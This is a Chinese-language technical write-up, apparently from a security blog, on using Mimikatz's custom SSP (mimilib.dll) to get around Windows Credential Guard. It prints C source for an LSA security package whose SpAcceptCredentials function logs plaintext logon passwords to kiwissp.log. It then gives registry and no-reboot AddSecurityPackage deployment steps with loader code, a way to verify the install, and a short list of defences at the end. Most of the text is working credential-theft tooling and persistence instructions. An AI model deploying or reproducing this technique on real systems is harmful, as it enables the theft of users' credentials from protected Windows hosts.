Mimikatz Explorer - Custom SSP
字数 1329 2025-08-06 12:21:02

Mimikatz Explorer - Custom SSP 绕过 Credential Guard 技术详解

1. 背景与概述

Windows Defender Credential Guard 是一种基于虚拟化的安全机制,用于隔离和保护敏感凭据,包括:

  • NTLM 密码哈希
  • Kerberos TGT 票据
  • 应用程序存储的域凭据

传统工具如 Mimikatz 在启用 Credential Guard 的系统上无法直接从 LSASS 进程内存中提取凭证,会显示 "LSA Isolated Data: NtlmHash"。

2. 技术原理

2.1 自定义安全包(SSP/AP)机制

Windows 提供了自定义安全包 API,允许开发:

  • 安全支持提供程序(SSP):提供非交互式身份验证服务
  • 身份验证包(AP):提供交互式身份验证服务

当这两种服务合并时称为 SSP/AP,可以与 LSA 完全集成,实现:

  • 令牌创建
  • 补充凭据支持
  • 直通身份验证

2.2 LSA 模式初始化流程

  1. 系统启动时,LSA 自动加载所有已注册的 SSP/AP DLL
  2. 调用每个 SSP/AP 的 SpLsaModeInitialize() 获取函数指针表
  3. 通过 SECPKG_FUNCTION_TABLE 结构传递函数指针
  4. 调用每个安全包的 SpInitialize() 函数
  5. 通过 LSA_SECPKG_FUNCTION_TABLE 结构传递 LSA 支持函数

3. 实现细节

3.1 Mimikatz 的 mimilib.dll 实现

关键函数实现:

static SECPKG_FUNCTION_TABLE kiwissp_SecPkgFunctionTable[] = {
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    kssp_SpInitialize,
    kssp_SpShutDown,
    kssp_SpGetInfo,
    kssp_SpAcceptCredentials,
    // ... 其他函数指针设置为 NULL
};

3.1.1 kssp_SpInitialize

NTSTATUS NTAPI kssp_SpInitialize(ULONG_PTR PackageId, 
                               PSECPKG_PARAMETERS Parameters,
                               PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
    return STATUS_SUCCESS;
}
  • 执行初始化相关处理
  • 接收 LSA 支持函数指针

3.1.2 kssp_SpShutDown

NTSTATUS NTAPI kssp_SpShutDown(void)
{
    return STATUS_SUCCESS;
}
  • 卸载前执行清理

3.1.3 kssp_SpGetInfo

NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo)
{
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion = 1;
    PackageInfo->wRPCID = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name = L"KiwiSSP";
    PackageInfo->Comment = L"Kiwi Security Support Provider";
    return STATUS_SUCCESS;
}
  • 提供安全包信息
  • 客户端调用 QuerySecurityPackageInfo 时触发

3.1.4 kssp_SpAcceptCredentials

NTSTATUS NTAPI kssp_SpAcceptCredentials(
    SECURITY_LOGON_TYPE LogonType,
    PUNICODE_STRING AccountName,
    PSECPKG_PRIMARY_CRED PrimaryCredentials,
    PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    FILE *kssp_logfile;
    if (kssp_logfile = _wfopen(L"kiwissp.log", L"a")) {
        klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", 
             PrimaryCredentials->LogonId.HighPart, 
             PrimaryCredentials->LogonId.LowPart,
             LogonType, 
             &PrimaryCredentials->DomainName,
             &PrimaryCredentials->DownlevelName, 
             AccountName);
        klog_password(kssp_logfile, &PrimaryCredentials->Password);
        klog(kssp_logfile, L"\n");
        fclose(kssp_logfile);
    }
    return STATUS_SUCCESS;
}
  • 核心功能:记录明文凭据到 kiwissp.log
  • 参数包含登录类型、账户名、主凭据和补充凭据

3.1.5 kssp_SpLsaModeInitialize

NTSTATUS NTAPI kssp_SpLsaModeInitialize(
    ULONG LsaVersion,
    PULONG PackageVersion,
    PSECPKG_FUNCTION_TABLE *ppTables,
    PULONG pcTables)
{
    *PackageVersion = SECPKG_INTERFACE_VERSION;
    *ppTables = kiwissp_SecPkgFunctionTable;
    *pcTables = ARRAYSIZE(kiwissp_SecPkgFunctionTable);
    return STATUS_SUCCESS;
}
  • 初始化函数表
  • 返回安全包版本和函数指针表

4. 部署方法

4.1 传统方法(需重启)

  1. 将 mimilib.dll 复制到 C:\Windows\System32
  2. 修改注册表:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
    
  3. 添加 "mimilib" 到 Security Packages 值数据中
  4. 重启系统

4.2 动态加载方法(无需重启)

使用 AddSecurityPackage API:

#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib, "Secur32.lib")

int wmain(int argc, char **argv)
{
    SECURITY_PACKAGE_OPTIONS option;
    option.Size = sizeof(option);
    option.Flags = 0;
    option.Type = SECPKG_OPTIONS_TYPE_LSA;
    option.SignatureSize = 0;
    option.Signature = NULL;
    
    if(AddSecurityPackageW((LPWSTR)L"mimilib", &option) == SEC_E_OK) {
        wprintf(L"[*] Add security package successfully\n");
    }
}
  • 注意:此方法仅在当前会话有效,重启后失效
  • 默认在 System32 目录搜索 DLL

5. 检测与验证

5.1 列举已加载的 SSP

#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <sspi.h>
#include <Security.h>
#pragma comment(lib, "Secur32.lib")

int wmain(int argc, wchar_t *argv[])
{
    ULONG packageCount = 0;
    PSecPkgInfoW packages;
    
    if(EnumerateSecurityPackagesW(&packageCount, &packages) == SEC_E_OK) {
        for(int i = 0; i < packageCount; i++) {
            wprintf(L"Name: %s Comment: %s\n", 
                   packages[i].Name, 
                   packages[i].Comment);
        }
    }
}
  • 成功加载后会显示 "KiwiSSP"

5.2 凭据记录位置

  • 成功部署后,凭据会记录在:
    C:\Windows\System32\kiwissp.log
    

6. 防御建议

  1. 监控 System32 目录下的可疑 DLL
  2. 检查 LSA 注册表项的修改
  3. 监控 AddSecurityPackage API 的调用
  4. 定期审计已加载的 SSP
  5. 限制高权限账户执行此类操作的能力
Mimikatz Explorer - Custom SSP 绕过 Credential Guard 技术详解 1. 背景与概述 Windows Defender Credential Guard 是一种基于虚拟化的安全机制,用于隔离和保护敏感凭据,包括: NTLM 密码哈希 Kerberos TGT 票据 应用程序存储的域凭据 传统工具如 Mimikatz 在启用 Credential Guard 的系统上无法直接从 LSASS 进程内存中提取凭证,会显示 "LSA Isolated Data: NtlmHash"。 2. 技术原理 2.1 自定义安全包(SSP/AP)机制 Windows 提供了自定义安全包 API,允许开发: 安全支持提供程序(SSP):提供非交互式身份验证服务 身份验证包(AP):提供交互式身份验证服务 当这两种服务合并时称为 SSP/AP,可以与 LSA 完全集成,实现: 令牌创建 补充凭据支持 直通身份验证 2.2 LSA 模式初始化流程 系统启动时,LSA 自动加载所有已注册的 SSP/AP DLL 调用每个 SSP/AP 的 SpLsaModeInitialize() 获取函数指针表 通过 SECPKG_FUNCTION_TABLE 结构传递函数指针 调用每个安全包的 SpInitialize() 函数 通过 LSA_SECPKG_FUNCTION_TABLE 结构传递 LSA 支持函数 3. 实现细节 3.1 Mimikatz 的 mimilib.dll 实现 关键函数实现: 3.1.1 kssp_ SpInitialize 执行初始化相关处理 接收 LSA 支持函数指针 3.1.2 kssp_ SpShutDown 卸载前执行清理 3.1.3 kssp_ SpGetInfo 提供安全包信息 客户端调用 QuerySecurityPackageInfo 时触发 3.1.4 kssp_ SpAcceptCredentials 核心功能:记录明文凭据到 kiwissp.log 参数包含登录类型、账户名、主凭据和补充凭据 3.1.5 kssp_ SpLsaModeInitialize 初始化函数表 返回安全包版本和函数指针表 4. 部署方法 4.1 传统方法(需重启) 将 mimilib.dll 复制到 C:\Windows\System32 修改注册表: 添加 "mimilib" 到 Security Packages 值数据中 重启系统 4.2 动态加载方法(无需重启) 使用 AddSecurityPackage API: 注意:此方法仅在当前会话有效,重启后失效 默认在 System32 目录搜索 DLL 5. 检测与验证 5.1 列举已加载的 SSP 成功加载后会显示 "KiwiSSP" 5.2 凭据记录位置 成功部署后,凭据会记录在: 6. 防御建议 监控 System32 目录下的可疑 DLL 检查 LSA 注册表项的修改 监控 AddSecurityPackage API 的调用 定期审计已加载的 SSP 限制高权限账户执行此类操作的能力